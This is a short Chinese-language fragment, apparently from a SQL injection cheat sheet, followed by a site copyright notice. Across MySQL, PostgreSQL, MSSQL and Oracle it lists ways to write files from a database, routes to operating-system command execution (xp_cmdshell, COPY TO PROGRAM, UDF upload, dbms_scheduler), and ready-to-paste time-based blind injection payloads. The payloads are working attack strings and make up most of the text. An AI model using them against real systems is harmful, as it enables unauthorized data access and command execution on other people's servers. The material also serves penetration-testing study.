写文件SELECT 'data' INTO OUTFILE '/tmp/a.txt'COPY table TO '/tmp/a.txt'EXEC xp_cmdshell 'echo abc > C:\\a.txt'UTL_FILE.PUT_LINE(需开启权限)
执行系统命令需上传 UDF 插件COPY ... TO PROGRAM 'cmd'(需高权限)xp_cmdshell / sp_oacreate通过调度器 dbms_scheduler.create_job 等实现
注样例**' AND IF(1=1, SLEEP(5), 0)--+' AND CASE WHEN 1=1 THEN pg_sleep(5) ELSE 0 END--' IF (1=1) WAITFOR DELAY '0:0:5'--' AND CASE WHEN 1=1 THEN dbms_lock.sleep(5) ELSE 0 END FROM dual

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com